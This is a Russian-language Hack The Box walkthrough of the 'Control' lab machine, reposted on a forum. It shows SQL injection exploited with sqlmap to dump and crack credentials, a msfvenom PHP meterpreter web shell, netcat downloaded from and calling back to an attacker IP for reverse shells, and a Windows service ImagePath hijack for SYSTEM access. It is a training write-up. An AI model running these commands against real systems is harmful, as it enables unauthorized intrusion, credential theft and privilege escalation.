HimeraSearchDB
Carding_EbayThief
triada
CrackerTuch
d-shop
HimeraSearchDB

НОВОСТИ Hack The Box. Прохождение Control. SQL инъекция и LPE через права на службу

Bonnie
Оффлайн
Регистрация
12.04.17
Сообщения
19.095
Реакции
107
Репутация
0
y_agj1md5zinn0p_o8ucn6nrcfq.png


Продолжаю публикацию решений отправленных на дорешивание машин с площадки .

В данной статье проникаем в систему через SQL инъекцию, копаемся в истории командной строки и повышаем свои привилегии благодаря имеющимся правам на службу.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал и в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации .

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.167, который я добавляю в /etc/hosts.


10.10.10.167 control.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.


masscan -e tun0 -p1-65535,U:1-65535 10.10.10.167 --rate=1000

zgfyfurcecpe-cka_lnykhsrcne.png


Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A control.htb -p80,135,3306,49667,49666

eoql7aimt9_z47br5j4v_vmfzai.png


На хосте работает веб-сервер. Посмотрим что там.

jggjeg_agns8gedjluaymnrgmuc.png


И видим, что есть ссылка на админку. Но нам сообщают, что отсутствует заголовок и мы должны обращаться через прокси.

tyquznnocwmjntlmqzrfa2exkeq.png


При этом в исходном коде стартовой страницы находим сообщение:

wwrbhtb-ecfdehebmwvxaorailq.png


Сопоставляя то, что нужно использовать прокси, и найденный адрес, предполагаем, что заходить нужно именно через него. Прокси отображается в HTTP протоколе в заголовке x-forwarded-for. Давайте выставим его.

xt7vgzpnuhaxx7wwxt_t1a8mjgm.png


И мы удачно заходим на страницу админа. Давайте зайдем через браузер.

k69vjt9fkb-slnguropll7g4yws.png


Но при попытке что-либо сделать, нас будут выбрасывать на страницу с сообщением о прокси. Так происходит потому, что мы не подставляем найденный заголовок. Что бы не делать это каждый раз в Burp Suite во вкладке Proxy -> Options найдем функцию “Match and Replace”.

eebpjxadru01wuroipptxqtqx-q.png


И добавим новую запись, которая будет автоматически добавлять данный заголовок во все исходящие запросы.

tsqixpvs8glppx4sw6zrt9byo_k.png


И тестируя поле поиска находим SQL инъекцию.

rl0nbntyfysfaidg_kmx6jrqpk0.png


Для эксплуатации используем sqlmap. Давайте сохраним данный запрос в файл (Copy to file) и запустим sqlmap, передав данный файл в качестве параметра.

sqlmap -r headers.req

c9irplxxa0exy0byxlfofpmtvk8.png


Entry Point
Посмотрим какие имеются базы данных.

sqlmap -r headers.req --dbs

s_2zt_w40pnldgxyt-cmxmzkvfw.png


Давайте узнаем, какие имеются учетные данные. Посмотрим все таблицы в базе данных mysql.

sqlmap -r headers.req -D mysql --tables

ke-vje10bm0a0wxqsvtbkloeetu.png


Так нас интересует таблица user. Давайте получим названия всех колонок.

sqlmap -r headers.req -D mysql -T user --columns

19gworxp_r4qy1kxbey7yvbtuko.png


Из всех колонок наиболее интересны User и Password. Узнаем что в них.

sqlmap -r headers.req -D mysql -T user -C User,Password --dump

e-76b4pv25daqhkvxf-zwhqha1g.png


В базе хранится несколько пользователей. Sqlmap предлагает взломать хеши. Выбираем атаку по словарю, указываем, что хотим использовать свой словарь и пишем путь к rockyou.

ogfpusgoxax5y4oby4r4isautx8.png


Спустя несколько секунд, нам будет предоставлена таблица с именами пользователей и хешами их паролей. Если sqlmap смог взломать пароль он укажет его рядом с хешем в скобках. Как можно наблюдать, мы имеем учетные данные пользователя hector.

3lwhppkhebq6-zciqhxufbergyg.png


Получить шелл с помощью sqlmap не получилось, но вот записать файлы выходит. Давайте разместим веб шел. Сначала сгенерируем meterpreter нагрузку в формате PHP.

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.82 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo ' r.php && xclip -selection clipboard -o >> r.php


А теперь запишем его с помощью sqlmap в директорию веб сервера.

sqlmap -r headers.req --file-write=/home/ralf/tmp/r.php --file-dest=C:/inetpub/wwwroot/r.php

f-ovhrbjd12vmuczfbltop8nzya.png


Файл успешно записан. Запустим листенер.

n_8-qly45zo-_ihgxv9v54g5fwu.png


И обратимся к своему файлу на веб сервере.

curl


В окне Metasploit наблюдаем успешное подключение.

qybpyydcw15sv7zk5borirt75jc.png


Переходи в данную сессию.

ahfu3f12oacub1nb_pbc4nu0flg.png


Но вот проблема, мы не можем выполнять команды через шелл, В добавок при подобных попытках сбрасывается соединение. Попробуем обойти блокировку за счет создания процесса powershell в скрытом от просмотра (-H) интерактивном режиме (-i) с передачей нашей команды в качестве параметры (-a). Давайте узнаем под каким пользователем мы работаем.

tgc1photow2juvshqy_imh2wop0.png


USER


У нас есть учетные данные Гектора, узнаем есть ли такой пользователь в системе.

4rtw9hec22vofi3vvcjfn2bgqza.png


Такой пользователь есть! Но сначала узнаем имя машины.

_0q1ydmzwb0jg10dxhfcd5gdszm.png


У нас есть логин, пароль, домен и имя машины. Теперь проверим подойдут ли полученные нами учетные данные. Для этого выполним “whoami” от имени Гектора.

execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { whoami }" -i -H

f7zvgzzrv5rymzoknsodblm8qqw.png


Отлично. Давайте получим шелл. Запустим на локальном хосте веб-сервер.

python3 -m http.server 80


И загрузим на удаленный хост Netcat.

execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { iwr 10.10.15.82/nc.exe -o C:\\Users\\Hector\\Documents\\nc.exe }" -i -H


Теперь откроем у себя 5432 порт. nc -lvp 5432 и выполним обратное подключение с удаленного хоста.

execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { C:\\Users\\Hector\\Documents\\nc.exe -e powershell 10.10.15.82 5432 }" -i -H


Так мы берем пользователя.

z6wu-vdgfchbqaobjsq83pdpdpe.png


ROOT


Далее при попытке загрузить на хост одно из средств сбора информации с хоста ( такие как , , , ) замечаем, что их удаляет дефендер. Но у WinPEAS есть , которая не удаляется. Загружем его на хост и запускаем. Далее следует только внимательно просматривать собранную информацию. И мы находим интересный файл ConsoleHost_history.txt

k3oez4vknoc6njwzz0tvs_wav8i.png


Смотрим, что он содержит.

wypravr1cr2pa2im8on8yl34rew.png


Данные команды единственное, что у нас есть. Командлет Get-Acl получает объекты, которые представляют дескриптор безопасности файла или ресурса. Дескриптор безопасности содержит списки управления доступом (ACL) ресурса. Список ACL содержит разрешения, необходимые пользователям и группам пользователей для доступа к ресурсу. Таким образом, я решил, что путь решениея кроится в службах и доступе к ним. Давайте получим все службы и разрешения Гектора к ним.


get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Hector Users Path"


Просматривая вывод, замечаем, что Гектор имеет полные права на службу обновления Windows — wuauserv.

spjepkdg3e1zsisqo8vhvz_1gmk.png


Службы в операционной системе Windows выполняются с правами System. При регистрации службы в системе, путь к исполняемому файлу службы охраняется в атрибуте ImagePath. Давайте изменим значение данного атрибута и загрузим шелл.

reg add "HKLM\System\CurrentControlSet\Services\wuauserv" /v ImagePath /t REG_SZ /d "C:\Users\Hector\Documents\nc.exe -e powershell 10.10.15.82 6543"


Теперь запустим службу обновления.

start-service wuauserv


И получаем шелл с максимальными привилегиями.

imw1tqnkohjh-qs-nvwbuggywoy.png


Вы можете присоединиться к нам в . Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
 
Сверху Снизу